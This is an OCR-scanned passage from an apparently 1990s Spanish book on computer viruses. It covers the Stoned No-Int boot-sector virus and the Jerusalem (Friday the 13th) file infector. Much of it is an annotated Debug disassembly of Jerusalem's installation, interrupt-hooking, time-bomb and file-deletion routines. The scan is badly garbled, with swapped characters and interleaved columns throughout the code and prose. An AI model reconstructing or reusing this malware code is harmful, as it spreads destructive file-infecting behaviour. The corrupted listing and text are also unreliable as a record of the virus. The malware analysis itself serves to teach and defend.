DI 
ex 
SP 
ex 
BX 
8P 
[01+41 J.CL 
DX 
ex 
DX 
8P 
ex 
SI 
ex 
(Oij.eX 
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................. 
• Fm del virus • ................. 

Como se ,.e en la St'CcitÍJJ aclii.•a rlc/l1il'lfs, lt1 selección de los 
discos a infectar y !<1 verific<1ción p<Ha s,1ber si el disco ya ha 
siJo infect.1do, lt~s reailL.a por el procedimiento de negación. 

Virus Sfoned No-lnt 
Una de l.1s modificaciones del vir11s Slo1wl CJUC m;ís se ha di­
fundido, -incluso cn estn editorial se redben tod.l\'Í<l disque­
tes de autores, revisores y empresas de vcnl<~s de libros, 
conteniendo i1Üorm<1ción de tr<1b<1jos norm<1lcs de uso diario, 
que vienen en disquetes contamin<1dos en el St!Cior 1/1! nrra11quc 
(Boot sector) con este virus-, es el Sto11cd fll-así lo identific<1 
McAfee-, que la m<~yorí<l de <~nlivirus conoce como Stoued 
No-1111, B/oo/1/lllgfon o LnstDirScct. 

Este nuevo virus ya no incluye los mens<~jes del Stoncd <111-
terior. Las primer,lS noticias de élLblan de 1991 en C11n<1dá, y 
utilizíl la técn\C<l Sft'altll -Callfcloso o sigiloso-; es decir, se pro­
tege o se esconde cuílndo está activo en lt~ memoria de la 
computadora y se le trata de localizt~r con algún antivirus, al­
gunos de ellos al revisar la memoria indican que no se en­
cuentra ningún virus ahí -ya que el mismo virus red i rccciona 
la búsqued<1 al sector donJc se encuentra el progmma de cJr-
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gtt origmal-, ~unque el comando CHKDSK del DOS reporta 
2 O.t~ bytl.'s menos de memo na. 

lguJI que su antecesor, Stoucd 111 se ubici.l en el ~ector O v 
envía el progr.1ma de carg.1 al sector 11 de los disquetes dé 
360 o 720 kB, y al 17 en C<lSO de disquetes de <lita densidad 
-1.2 y 1 -1 J\·tB-. La tabld de particitXll'S urigin<li de los discos dt1-
ros la reubica en la d1rección física: Cilindro O, Lado O, Sector 7. 

S. 1.5 El virus de Jerusalén 

Nota: 

\ 

A diferenciíl de los cuatro virus antenores, éste es un virus 
illft'clor dt' archivos CJCCIIfa/Jlt's -pror;r<~mJs con extensión .EXE 
o .COf\.·1-. Es uno de los más peligrosos que se conocen, y se 
ha difundido ampliamente en Estados Unidos, México, paí­
ses de Centro y Sudamérica, Espa1ia y Europa en gencrJI. 

Se le conoce también como virus fsmt'lí o del Viemes 73=­
Este virus, hasta hace poco era uno de los más contr~giosos 
porque infecta los programas, y no se necestta m,is que ejL'Cu­
t<Jr el progrnma infectado p;ud que se instzde en 1.1 memoria 
de la compuli1dora. Una vez en Id memoria, infectará todL)S 
los programas que se ejecuten en la mismn sesión de tr;¡b;¡jo_ 

Jerusalén es un famoso vtrus qu.e se descubrió a hnes de 1987 en 
la Universidad Hebrea de Jerusalén en los discos de las PC de IBM 
y sus compatibles. Se dice que fue desarrollado por activistas de la 
Organización para la Liberación de Palestina (OLP). para que 
intciara su acción el 13 de mayo de 1988con motivo de la cele­
bración del 40 ° aniversario del último día de Palestina como nación. 

Infecta al s1stema mediante el Jrchivo COMMAND.COM, 
pero tnmbién ataca los programas ejecutables, incluyéndose 
al final de éstos e incrementando la longitud del archivo en 
1808bytes-Ja primera vez que infecta crece el archivo en 
1 792-. El virus se instala como residente en mcmona, hn­
ciendo que la ejecución de los programas sea considcr<l­
blemente más lenta. 

La versión original se reproducía tant<Js veces en los prn­
gr<Jm<Js infectados, que crecían de !.JI modo que luego no se 
podían mrs11ren la memoria; su tamaño no le permitía seguir 
reproduciéndose en el disco por falta de espaciO suficiente, 
pero posteriormente nlgün programador resolvió el proble­
ma controlando su crecimiento desmedido, fanlit<1ndu así su 
propagación controlaJa. 

\ 
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Su dL'!ecci¡'m no se Lilftcult.l si se re\ is.1 constantt>mcnte la 
cantidad de bytes de los archivos L'Jl'Cut.lbk•s, y si SL' nota al­
guna mndlficácu)n, prob.1blenwntc se tr~1te de una mfecc~ón 
por este ,·irus. Si se ejecuta un pro¡.;ronM 1nfectadn (•n un \'ler­
nes 13, se h()fr<l del disco, junto con los <~rchn·os de control o 
ejecuctón -con e:dens1oncs .OVR, OVL, cte.-. 

E>.isten muchos program.1s antivirus p.1ra detectar y erra­
dicar este virus, pues se han d.Hio casos de empresas de soft­
ware que distnbuyenm disquL'lL'S con programas orig111alcs, 
y por un descuido discminoron el virus entre sus usu<lri.os. 
Después desarrnll.mm un .lllll\'lfUS y lo entrcg.Hon gratlllt.l­
mcnte pnra trotilr de remedi<tr el mal. 

Los antivirus de h.lcAfee incluidos en el disquete que 
acompaña <1l libro, lo reconocen en sus diferentes \'ersiones 
como IJeru] y lo eliminan de los program;¡s infectados, pero 
es conveniente no volver a utdiz<lr esos progr.1mas porque 
pueden presentar f<dlas al ejecutarlos. ft'l HSIIh;JJ infcc~a l. osar­
chivos con extensión .COM, introduoendose en su coLligo, al 
principio del progrilma, siempre y cuando la suma -longitud 
del 111chivo- sea menor o igual a 6·1 k U, y lo hace untl sola vez. 

A los archivos con extensión EXE los puede 111fcct.u tantils 
veces como sean las vco..'S que se ejccutn, hasta que el disco se 
llene. En este caso se posiciona al final Jel código del progra­
ma por medio de un APENO y modiftca cl¡)//11/o de cntmdn 
(Stnrl point) del programa. . 

Cuando cst.í en la memoria de la cOJnput,ldorJ, se activa 
una bomba de tiempo que re<tliza un corrimiento de una pnr­
te del te>..to hacia abajo, lo que produce un efecto visual en la 
pantalla, como si se abriera una pequei1a vcntanita. Caus<J 
errores de operación en la computadora y hnce lentos los pro­
cesos, y en el momento de cst.1r trabnjando con .1lglm pro~ra­
ma infectado puede borr.u información de la memona o 
"co11gefar" el sistema. , . 

Infecta los <1rchivos e¡eculables, aunque esten proteg1dos 
contra escritura; Les quita el <Jtributo de sólo lectula, los infec~ 
ta y il's regresa su atribulo original para que usted no se ~é 
cuentJ de 1<1 illjeccióll. Cuando se cumple que la fecha del Sl~­
tem<~ coincidn con alglm viemcs 13, se activa una parte del VI­

rus 4ue Vil borrando cualquier progr,1ma o <trchivo que se 
ejecute, incluso los de extensión .OVL, .O VI\ et:. ~ 

L1 figur<~ 5.20 muestra el programa MAl MEM.EXE sallo 
con una longitud de 14 336 bytes, y el mismo program<J-cam­
biando la extensión- con una, cmco y diez infecciones. Ob­
serve que por cuda infección u u mentó 1 808 bytL'S, excepto la 
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Figura 5.20 
ltsto de archivos 
que presenta 
Q.DOS3. 
mostrando la 
dlterencla enlre 
un programa 
sano. y el mismo 
con uno 
Infección. cinco 
veces Infectado. 
y con diez. del 
vtrus Jerusalén. 

pnmera qta.' In hizo cnn 1 /9~. de t.1l m.mer<l l]UL' el Jrchi\'tl 
c¡ue se mk•ctt.l dlez n.'CL'S nHde 

14336+1 792+(9.1 808) =14336+1792+16272 
= 32 400 bytes 

l,lmbtL~Il SL' (Oillprobú C]UL' L'~ÍL' p/¡1/~ del 1'/t'/J/t':' J3 puede 
mfeciM un Mcht\'O prolL'gtdo con.ltrihulo de 5,í/t1 !t'C/11111, \'In 

\'ueke .1 "¡nof("{l'l" pJr,l que u-.!L'd no sed~ cuenl.l de qu~ h.l 
stdo nH.Idiltcildo Por ültlllln, ~e cambit.l J.¡ fech.1 de 1.1 compu~ 
líidnra tnfeci.Hia a 13 de ma~·¡) de !99-l-\'IL'nlL'S-, y ,1] L'Jt!Cul.lr 
los prng r.l mJs, L'll lug<1 r dL' 011 g11rlo::: .1 la lllL'Illtlrt,l ltlS hnn .1 b.1 

sistc m.ít ic.llllt' ntc. 

L<~s modilicaciones que se conocen de !.'S le virus smr Jau­
sn/cm-13, que es la versiún modiiJc.1cb con control de mfecciu­
ncs_, y fcil.l5t~lciii-C o Ni'"it' fe¡u:;;rllcm, qta.• es la misma, pL'rn 

O':fl!te el nHhgn de rL'tr.1so dd cronúnwtrn, por lo que es muy 
Lh_fJcd de de~ect.1r h.1st.1 ljliL' SL' <~CIJ\',1. fHack J folt', que L'S ],1 

llllSill.l \'L'rSIOll quL' /t'//l~tl/c'/11-C, pL'rO Ctlll Ull<IS 21 ll<lm.Hi.lS de 
interrupciones que p<~recen no tener sentido, <lSÍ como un 
mcnsa¡c que d1ce n/1/li'illt:>. 

Jerusnlt•JII-lJ y fau~alt•JII-E son modific,Kione:;; ,1 los ,1/liL'rio­
res pilr<l destruir J.¡ t.1bl.1 de .1sígn;¡ción de ,uchivos en \'L'Z de 
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borrar los programas. L;¡ primera versión se activ<l en cual­
quier viernes 13 después de 1990, y la segunda ht:~sta 1992, en 
!.1 mism<l fech<1. Por último, Ct'11f11ry y Ct'lltury-B son las mo­
dificaciones m<ls recientes, la primcr.J Je las cuales se activt~­
rá el lo. de enero del ai'to 2000, borr<1ndo J¡¡s tablas de 
·<~signación de <lrchi\'OS de tod.1s las unid<1des conectadas, lle­
nando de el' rus los sectores de los discos enlazados al siste­
ma, y ponll'ndo .11 final en J¡¡ pantalla el mensaje BimN11idos 
alsiglo21. 

Listado desensamblado del virus de Jerusalén 

Al realizar el desensJmblaje del programJ con Debug, se 
pudo not.u que fue desarroll<ldo por un program<~dor profe­
sional con bastante expcrienciZ~ en prngramZ~ción y lcngua¡c 
ensambl<Jdor. El código, aunque no t<1n "('/¡•gante" como el del 
vi rus de eaq111s1á11, h.1 penlll t 1dn a otws p1 ogramadores reali­
zar cambiOS, incluir o cancelar rutinas cnmo 1.1 bomba de IIC/11-

po en el ca~o de esta versión o 1<~ versión R que controla la 
cant1dad de infeccJOnes <1 un mismo pwgrama. 

............................................ 
Pnnc1pio del arch1vo mfectado con el v1rus de Jerusalén ............................................. 
OFB2:0100 E99200 JMP 0195 Salto al com1enzo del v1rus. 

............................. 
• Secc16n de variables d~l v1rus • ............................. 
OFB2:01 03 7355 
OFB2.0105 40 
OFB2 O 106 7344 
OFB2.0108 6F 
OFB2.0109 7300 
OFB2:010B 01FB 
OFB2.010DOE 
OFB2.010E 0000 
OFB2:0110005519 
OFB2 0113 AS 
OFB2:0114 fEDD 
OFB2 0116 FO 
OFB2·0117 60 
Of82 0118 142F 
OFB2.011A 025605 
OFB2011D 030A 

JNB 
DEC 
JNB 
DB 
JNB 
ADD 
PUSH 
ADD 
ADD 
MOVSW 
INC 
LOCK 
DB 
ADC 
ADD 
ROA 

015A 
BP 
014C 
6F 
0108 
BX,DI 
es 
[BX+SI).AL 
[DI+ 19).DL 

BYTE PTR [BX+SI) 

60 
AL.2F 
DL.[BP.05) 
WORD PTR [BP•SI].CL 



114 NATASyotrosvlrus 

OFB2:011 F 90 
OFB2:0120 7EOO 
OFB2.0122 0000 
OFB2:0124 0000 
OFB2 0126 0000 
OFB2:0128 0000 
OFB2:012A 0000 
OFB2·012e 0000 
OFB2:012E 0000 
OFB2:0130 00860880 
OFB2:0134 0000 
OFB2:0136 00800086 
OFB2.013A OBSeOO 
OFB2.0130 8608 
OFB2:013F 6e 
OFB2·0140 00860864 
OFB2.0144 OOe6 
OFB2:0146 0800 
OFB2·0148 0038 
OFB2 014A OeOO 
OFB2.014e FO 
OFB2·0140 46 
OFB2 O 14 E 004 OSA 
OFB2:0151 60 
OFB2:0152 0012 
OFB2:0154 001 F 
OFB2:0156 0020 
OFB2 0158 0001 
OFB2·015A OOFF 
OF82:01Se FF95011 O 
OFB2·0160 07 
OFB2:0161 8419 
Of82.0163 esoo 
Of82·0165 95 
OF82.0166 0120 
OFB2:0168 0000 
OFB2:016A OOE8 
OFB2.016e EE 
OFB2 0160 FF5Ae3 
OFB2:0170 050020 
OFB2:0173 005f13 
OFB20176 06 
OFB2 0177 820002 
OFB2 017A 1000 
OFB2.017e 50 
OFB2:0170 1 800 
Of82·017F 0009 
OFB2 018141 

NOP 
JLE 
AOO 
AOO 
AOO 
AOO 
AOO 
AOO 
AOO 
AOO 
AOO 
AOO 
OR 
MOV. 
08 
AOO 
AOO 
OR 
AOO 
OR 
LOeK 

0122 
[BXtSI[,AL 
[BXtSI),AL 
[BXtSI),AL 
[BXtSI),AL 
[BXtSI),AL 
[BXtSI[,AL 
[BXtSI),AL 
[8Pt8008),DH 
[BXtSI),AL 
[8XtSit8600],AL 
BX,[SitOO[ 
DH,OB 
6e 
[8Pt640BJ,DH 
DH,AL 
AX,[BX+SI] 
[BXtSI],BH 
AL,OO 

INe SI 
AOO [Oit5AJ,eL 
08 60 
AOO [BPtSI),OL 
AOO [BXJ,BL 
AOO [BXtSI),AH 
AOO [BXtOI),AL 
AOO 8H,BH 
eALL [01+1001) 
POP ES 
TEST BL,[BXtOI) 
LOS AX,[BXtSI) 
XeHG BP,AX 
AOO [BX+SI),SP 
ADD [BX+SI),AL 
AOD AL,eH 
OUT DX.AL 
eALL FAR [BPtSI-30) 
AOD AX,2000 
ADD [BX+ 13J,BL 
PUSH ES 
AOD BYTE PTR [BX+SI).02 
AOe [BXtSI),AL 
PUSH AX 
SBB AX,[BXtSI) 
ADD eL.BL 
INe ex 

i 

_j 

5.1 VIrus lnfectores del sector de arranque 

OF82 0182 28 
OFB20183 78 
OF82 0184 43 
OFB2 0185 4f 
OF82 0186 40 
Of82.0187 40 
OF82.018841 
oFB2 0189 4E 
OF82:018A 44 
OF82.018B 2E 
OF82 018e 43 
OF82 01804f 
OFB2.018E 40 
OF82 018f 0100 
OFB2 0191 0000 
Of82.0193 0000 

.................... 
• Pnnc1pio del virus • .................... 
OFB2.0195 Fe 
Of82 0196 84EO 
OF82 0198 e021 
OF82 019A 80FeEO 
OF82.019D 7316 
OF82 019f 80Fe03 
OFB2·01A2 7211 
OFB2 01A4 8400 
OFB2:01A6 Bf0001 
OF82.01A9 BE1007 
OFB2 01Ae 03F7 
OFB2 01AE 2E 
OFB201Af 88801100 
OFB2:0183 e021 

08 
08 
o8 ·e· 
08 'O' 
08 'M' 
08 'M' 
08 'A' 
08 'N' 
08 'O' 
08 
os ·e· 
08 'O' 
08 'M' 
ADO [8XtSI),AX 
ADD [BXtSI],AL 
ADD [8XtSI],AL 

eLD 
MOV 
INT 
eMP 
JNB 
eMP 
JB 
MDV 
MOV 
MOV 
AOD 
es: 
MOV 
INT 

AH,EO 
21 
AH,EO 
0185 
AH,03 
0185 
AH,OD 
01,0100 
Sl,0710 
SI,DI 

eX,[Oit0011) 
21 

.................................. 
• Secc16n de instalación * ................................... 
OFB2 0185 8ee8 
OFB2·01 87 051000 
OFB2·01BA 8EOO 
OFB2 01 se Be0007 
OFB2.01 BF 50 PUSH 
OFB2:01 eo B8e500 
OFB2.01e3 50 
OFB2 01e4 es 

MOV 
ADD 
MOV 
MOV 
AX 
MOV 
PUSH 
RETF 

AX,eS 
AX,0010 
SS,AX 
SP,0700 

AX,OOe5 
AX 

Verifica s·l el virus está en la memoria. 
Si no esla, salla a la secciOn de 
Instalación. 

Si está, recorre el programa de carga 
original para ejecutarlo en forma normal. 

Protege al virus en la pila. 

' 
1 

1 

1 

1 
1 
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OFB2 01C5 FC CLO 
OFB2.01C6 06 PUSH ES 
OFB2·0t C7 2E CS. 

()f82 0232 OtE9 
SHR CX,1 

OFB2.01C8 8C063100 MOV [0031J.ES 

OFB2 0234 33F6 
XOR Si,SI 

OFB2.01CC 2E es: 
OF82 0236 8BFE 

MOV Oi,SI 

OFB2 OIGO 8C063900 MOV [0039],ES 
OF82 0238 06 

PUSH ES 

OFB2 0101 2E es 
OF82 0239 884201 MOV AX.0142 

OFB2 01 02 8C063000 MOV [0030J.ES 

OFB2 023C 50 
PUSH AX 

Copia el virus en la me mona para 

OFB2 0106 2E es: 
oFB2 0230 EAFC030000 JMP 000003FC protegerlo. 

OFB2 0107 8C064100 MOV [0041 J. ES 

OF82 0242 8CC8 
MOV AX,CS 

OFB? 01 OB 8CCO MOV 

OFB2 0244 BEOO MDV SS,AX 

OFB2 0100 051000 
AX,ES OFB2 0246 BC0007 MDV SP,0700 Protege la nueva copia en la pila 

AOO AX,0010 
OFB2 01 EO 2E CS: 

OF&2 0249 33CD XOR AX,AX 

DFB2 01 E 1 01064900 AOO [0049],AX 

OFB2 0248 8E08 MOV OS,AX 

OFB2 01f5 2E CS. 

OFB2 0240 2E es: 

OFB2.01E6 01064500 AOO [0045],AX 

OFB2 024E A 14800 MOV AX.[004B) 

OFB2.01 EA B4EO MOV AH,EO 

OFB2 0251 A3FC03 MOV [03FC],AX 

OFB2 01 EC C021 INT 21 Verifica si ya está instalado. Si no lo 

OFB2 0254 2E es· 

OFB2 OlEE BOFCEO CMP AH,EO 

OFB2 0255 A04000 MOV AL.[0040) 

OFB2·0IF1 7313 JNB 0206 
está, continúa con la intalaci6n OFB2 0258 A2FE03 MDV [03FE],AL 

OFB2 01 F3 80FC03 CMP AH,03 

OFB2 0258 BBOC MDV BX,SP 

OFB2 OIF6 07 POP ES 

OFB2 0250 ~104 MOV CL,04 

OF82.01F7 2E CS. 

OFB2 025F 03EB SHR BX.CL 

OF82 OIF88E164500 MOV SS.[0045) 

OFB20261 83C310 AOO BX,+10 

Of82 OIFC 2E CS: 

OFB2 0264 2E CS. 

OFB2·0t FD 38264300 MOV SP,[0043) 

OF82 0265 891 E3300 MOV [0033J,BX 

OFB2.0201 2E es· 
OFB2.0269 844A MOV AH,4A 

OFB2 0202 FF2E4 700 JMP FAR[0047] 

OFB2 0268 2E es: 

OFB2:0206 33CO XOR 
Ejecuta el programa onginal. 

OF82 026C 8E063100 MOV ES.[0031] Protege bajo MS-OOS la memoria 

OFB2 0208 BECO 
AX,AX OFB2 0270 C021 INT 21 ocupada por el v1rus 

MOV ES.AX 
OFB2.020A 26 ES: 

OFB2 0272 882135 MOV AX,3521 

OFB2·020B A 1 FC03 MOV AX,[03FC] 

OFB2 0275 C021 INT 21 

OFB2 020E 2E es· 
OFB2 r:tl77 2E es· Guarda el vector original de la 

OFB2.020F A34BOO MOV [004B],AX 

OFB20278 891E1700 MOV [0017],BX interrupción Que ocupará el virus 

OFB2.0212 26 ES: 

OFB2 027C 2E es: 

OFB20213 AOFE03 MOV AL,[03FE] 

OFB2 0270 8C061900 MOV [0019],ES 

OFB2:0216 2E es· 
OFB2.0281 DE PUSH es 

OFB2 0217 A24000 MOV [0040).AL 

OFB2 0282 1 f POP os 

OfB2.021A 26 ES 

OFB2 0283 BA5B02 MOV OX,025B 

Of92 0218 C706fC03f3A5 ~SOV WORO PTR [03FCJ,A5FJ 

OFB2 0286 882125 MOV AX,2521 

OFB2 0221 26 

OFB2.02B9 C021 INT 21 Instala la parte activa del virus_ 

DfB2.0222 C606FED3CB MOV BYTE PTR [03FE) CB 

OFB2 0288 8E0631 DO MOV ES,[0031) 

OFB2·0227 58 POP AX ' 

OFB2 028f 26 ES: 

Of82 0228 051000 AOO AX,OOIO 

OfB2 0290 8E062COO MOV ES.[002C[ 

OFB2 0228 BECO MOV ES.AX 

OFB2.0294 33FF XOR 01,01 

OFB2.0220 OE PUSH es 
Of82 0296 B9ff7F MOV CX,?Fff 

OfB2.022E tf POP os 
OFB2 0299 32CO XOR AL,AL 

OfB2 022F 891007 MOV CX,0710 

OFB2 0296 F2 REPNZ 
Limpia el espacio de memoria para 

OFB2"029C AE SCASB 
ejecutar el programa de carga ongmal. 

OFB2 0290 26 ES· 

V) 
~ 
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OF82:029E 3805 CMP [OI[,AL 
OF82:02AO EOF9 LOOPNZ 0298 OF82 02FD 9C PUSHF 

OF82:02A2 8807 MOV OX,OI OF82:02FE 2E es· :-t 

OF82:02A4 83C203 AOO OX,+03 
OF82.02FF FF1 E1700 CALL FAR [0017[ Ejecu1a el programa original. 

OF82:02A7 880048 MOV AX,4800 OF82:03031E PUSH OS 

OFB2 02AA 06 PUSH ES OFB2:0304 07 POP ES 

OFB2'02AB 1 F POP os OFB2:0305 8449 MOV AH,49 

OFB2:02AC DE PUSH es OFB2:0307 C021 INT 21 

OFB2:02AO 07 POP ES OFB2:0309 8440 MOV AH,40 

OFB2:02AE 883500 MOV BX,0035 
OFB2·030B C021 INT 21 Restos de la versión anterior. 

OF82.0281 lE PUSH os OFB2.0300 8431 MOV AH,31 

OFB2:0282 06 PUSH ES OFB2:030F BA0006 MOV OX,0600 

OFB2.0283 50 PUSH AX OFB2:0312 8104 MOV CL,04 

OFB2·0284 53 PUSH BX OFB2:0314 03EA SHR OX,CL 

OF82:02B5 51 PUSH ex OFB2.0316 83C210 AOO OX,+10 

OFB2:02B6 52 PUSH OX OFB2·0319 C021 INT 21 

OFB2:0287 842A MOV AH,2A OFB2:031 B 32CO XOR AL,AL 

OFB2:02B9 C021 INT 21 Oblienela lecha del sistema. OFB2.031D CF IRET 

OF82·02BB 2E CS: 
OF82.02BC C6060EOOOO MOV BYTE PTR [OOOE[,OO ................... ,.. 
OFB2:02C1 81F9C307 CMP CX,07C3 Si es 1987 se desactiva el virus. 
OFB2·02C5 7430 JZ 02F7 • Bomba de tiempo • .................... 
OF82:02C7 3C05 CMP AL,05 Si no es viernes se comporta normal. 
OFB2:02C9 7500 JNZ 0208 
OFB2:02CB 80FAOO CMP OL,OO Si no es t3 se comporta normal. 

OFB2:031 E 2E CS: 

OFB2 02CE 7508 JNZ 0208 OFB2·031F 2E CS: 

OFB2:0200 2E es: OFB2:0320 FF2E1300 JMP FAR [0013[ Ejecuta la rutina original En otras 

OF82:0201 FE060EOO INC BYTE PTR [OOOE[ Si es viemas 13 pone la bandera para OFB2:0324 7517 JNZ 0330 versiones esta sección estaba activa y 

OFB2:0205 EB20 JMP 02F7 borrar. OFB2:0326 50 PUSH AX causaba errores de ejecución. 

OFB2:0207 90 NOP OFB2:0327 53 PUSH BX 

OFB2:0208 880835 MOV AX,3508 OFB2:0328 51 PUSH ex 
OFB2:0208 C021 INT 21 OFB2.0329 52 PUSH OX 

OFB2:0200 2E es: OFB2:032A 55 PUSH BP 

OF82:020E 891E1300 MOV [0013),BX OFB2:032B 880206 MOV AX,0602 

OF82:02E2 2E es: OFB2:032E 8787 MOV 8H,87 Mueve parte de la pantalla, abre la 

OF82:02E3 8C06t500 MOV [0015).ES OFB2.0330 890505 MOV CX,0505 ventana que va desde (5, 5) a (16,16). 

OF82:02E7 OE PUSH es OFB2:0333 BA1010 MOV OX,1010 

OF82.02E8 1 F POP os OFB2.0336 COl O INT 10 

OF82:02E9 C7061F00907E MOV WORO PTR [001 F).7E90 OFB2:0338 50 POP BP 

OFB2.02EF 880825 MOV AX,2508 OF82:0339 5A POP OX 

OFB2:02F2 8A 1 E02 MOV OX,021E OFB2:033A 59 POP ex 
OF82.02F5 C021 INT 21 OFB2:0338 58 POP BX 

OFB2:02F7 5A POP OX OFB2033C 58 POP AX 

OF82.02F8 59 POP ex OF82:0330 2E CS: \' 
OFB2:02F9 58 POP 8X OFB2.033E FFOE1FOO OEC WORO PTR [001 F) Si son menos de 30 minutos la bomba 

OF82:02FA 58 POP AX OFB2:0342 7512 JNZ 0356 no seejecuta. ¡ \ 
OF82:02FB 07 POP ES OFB2·.0344 2E CS: 1 
OF82:02FC 1F POP os OFB2:0345 C7061 F0001 00 MOV WORO PTR [001F),0001 

OFB2·0348 50 PUSH AX • ., 
' 

"" ~ 
' 
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OF82 034C 51 PUSH ex .......................... 
OF82 0340 56 PUSH SI • Restos de otras versiones • 
OF82 034E 890140 MOV CX,4001 Causa errores en la máquina .......................... 
OF820351 F3 REPZ 
OF82 0352 AC LOOS8 OF82 0398 83C406 AOO SP,+06 
OF82-0353 5E POP SI OF82 0398 90 POPF 
OF82 0354 59 POP ex OF82 039C BCCB MOV AX,CS 
OF82 0355 56 POP AX OFB2 039E SEDO MOV SS,AX 
OF82:0356 2E es OFB2 03AO 8C 1007 MOV SP,0710 
OFB2 0357 FF2E1300 JMP FAA [0013[ Termina la bomba. OF82 03A3 06 PUSH ES 

OF82 03A4 06 PUSH ES 
OF82.03A5 33FF XOR 01,01 ......................... OF8203A7 OE PUSH es 

• Secc1ón activa del VIrus • OFB2 03A8 07 POP ES ......................... OFB2 03A9 891000 MOV CX,OOIO 
OFB2 03AC 8BF3 MOV SI,BX 

OF82:035B 9C PUSHF OFB2 03AE BF21 00 MOV 01,0021 
OFB2 035C 80FCEO CMP AH,EO OFB2 0381 F3 REPZ 
OF82 035F 7505 JNZ 0366 Verifica si lo están tratando de OFB2 0382 A4 MOVS8 
OFB2 0361 880003 MOV AX,0300 identificar OFB2 0383 8C08 MOV AX,OS 
OFB2 0364 90 POPF OFB2 0385 BECO MOV ES,AX 
OF82 0365 CF IRET OF82 0387 2E es 
OFB2 0366 80FCOO CMP AH,OO Verif1ca si se va a ejecutar un programa OFB2 0388 F7267AOO MUL WOAO PTA [007AJ 
OFB2 0369 7 4 13 JZ 037E ya infectado. OF82.038C 2E CS. 
OF82 0368 80FCOE CMP AH,OE OF82 0380 03062800 AOO AX,[002BJ 
OFB2 036E 7428 JZ 0398 OFB2 03el 830200 AOe OX,+OO 
OFB2 0370 300048 eMP AX,4BOO Verifica si se está tratando de ejecutar OFB2 03C4 2E es· 
OFB2.0373 7503 JNZ 0378 un programa OFB2 03e5 F7367AOO OIV WORO PTR [007AJ 
OF82:0375 E98400 JMP 042e OFB2 03e9 BEDB MOV OS,AX 
OFB2 0378 90 POPF OFB2 03CB 86F2 MOV SI,OX 
OF82.0379 2E es: OF82 03eO 88FA MOV Ol,OX 
OF82037A FF2E1700 JMP FAR [0017[ Se e¡ecuta el comando normal. OF82.03CF 8CC5 MOV BP,ES 
OFB2.037E 58 POP AX OFB2 0301 2E es: 
OFB2 037F 58 POP AX OFB2 0302 881 E2FOO MOV BX,[002FJ 
OFB2·0380 880001 MOV AX.OIOO OF82 0306 0808 OR 8X,BX 
OFB2.0383 2E cs. OFB2:0308 7413 JZ 03EO 
OFB2.0384 A30AOO MOV [OOOA[,AX OFB2:030A 890080 MOV CX,BOOO 
OFB2·0387 58 POP AX OFB2.0300 F3 REPZ 
OFB2 0388 2E es: OFB2 030E A5 MOVSW 
OFB2.0389 A30COO MOV [OOOCJ,AX OFB2 030F 05001 O AOO AX,IOOO 
OFB2.038C F3 AEPZ Se recorre el programa de carga ongmaL OFB2.03E2 81C50010 AOO BP, 1000 
OF82:0380 A4 MOVS8 OF82 03E6 8E08 MOV OS,AX 
OFB2:038E 90 POPF OF82.03E8 8EC5 MOV ES,8P 
OFB2.038F 2E cs. OFB2:03EA 48 OEC BX 
OFB2.0390 A IOFOO MOV AX,[OOOF] OFB2:03EB 75ED JNZ 030A 
OF82 0393 2E cs. OFB203ED 2E es· 
OFB2:0394 FF2EOAOO JMP FAR [OOOAJ Se ejecuta el programa de carga original. OFB2:03EE 880E2000 MOV CX,[0020] 

OFB2:03F2 F3 REPZ 

'\ '-. 
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OF82 03F3 A4 
OFB2:03F4 58 
OF82 03F5 50 
OFB2:03F6 051000 
OF82 03F9 2E 
OF82.03FA 01062900 
OF82.03FE 2E 
OF82:03FF 01062500 
OFB2 0403 2E 
OF82:0404 A12100 
OF82:04071F 
OF82:040B 07 
OF82 0409 2E 
OF82.040A BE162900 
OFB2040E 2E 
OFB2·040F 68262700 
OF82.0413 2E 
OFB2:0414 FF2E2300 

................. 
• Rullna BORRA • ................. 
OFB2:041633e9 
OF82.041A B60143 
OFB2.04tDe021 
OF82.041F 6441 
OF82.0421 e021 
OFB2:0423 860048 
OFB2.0426 90 
OFB2:0427 2E 
OFB2:0426 FF2E1700 

MOVSB 
PDP 
PUSH 
ADD 
es: 
ADD 
es: 
ADD 
es: 
MOV 
POP 
POP 
es: 
MOV 
es: 
MOV 
es: 
JMP 

XOR 
MOV 
INT 
MOV 
INT 
MOV 
POPF 
es: 
JMP 

AX 
AX 
AX,OOIO 

[0029J,AX 

[0025J,AX 

AX,[0021J 
os 
ES 

SS,[0029J 

SP,[0027J 

FAR [0023) 

ex.ex 
AX,4301 
21 
AH,41 
21 
AX,4BOO 

FAR [0017] 

Cambia los atributos del programa a 
e¡ecutarse. 
Borra el archivo que se ejecute en ese 
momento. 

• Nueva funciOn $48 del sistema operativo • 
···•····•········••···••···••···••··•• 
OF82:042e 2E CS: 
OF82.042D 803EOE0001 eMP 
OFB2:0432 74E4 JZ 
OFB2:0434 2E CS: 
OFB2:0435 e7067000FFFF MOV 
OF82.0438 2E eS: 
OFB2·043e e7068FOOOOOO MOV 
OFB2:0442 2E CS: 
OFB2·0443 89t68000 MOV 

BYTE PTR [OOOEJ,OI Verifica SI está activada la bandera 
0418 de borrar. 

WDRD PTR [0070J,FFFF 

WDRO PTR [008FJ,OOOO 

[0080J,DX 

OFB2 0447 2E 
OF82:0448 6C1E8200 
OFB2:044C 50 
OFB2 0440 53 
OFB2.044E 51 
OF82 044F 52 
OF82:0450 56 
OF82:0451 57 
OFB2:04521E 
OF82 0453 06 
OFB2:0454 FC 
OF82 0455 88FA 
OFB2.0457 3202 
OF82 0459 607D013A 
OFB2 0450 7505 
OFB2 045F 8A 15 
OF820461 80E21F 
OFB2·0464 6436 
OFB2:0466 CD21 
OF82.0468 30FFFF 
OFB2:0468 7503 
OFB2 0460 E97702 
OFB2:04 70 F7E3 
OFB2:0472 F7E1 
OF82.0474 0802 
OFB2:0476 7505 
OF82.0476 301007 
OF82:047B 72FO 
OFB2.04 70 2E 
OFB2:047E 8B168000 
OFB2.04621E 
OFB2:0483 07 
OFB2:0464 32CO 
OF82:0486 B94100 
OFB2:0489 F2 
OFB2:048A AE 
OFB2:04BB 2E 
Of82:048e 8B368000 
OFB2.0490 8A04 
OFB2.0492 OAeO 
OFB2:0494 740E 
OFB20496 3C61 
OFB2:0498 7207 
OFB2 049A 3C7A 
OFB2:049C 7703 
OF82.049E 802C20 
OFB204At 461NC 
OFB2:04A2 EBEC 

5.1 VIrus Infectares del sector de arranque 

es: 
MOV [0062J.DS 
PUSH AX 
PUSH 8X 
PUSH ex 
PUSH DX 
PUSH Si 
PUSH DI 
PUSH os 
PUSH ES 
e LO 
MDV DI,DX 
XOR DL,Dl 
CMP BYTE PTR [Oit01J,3A 
JNZ 0464 
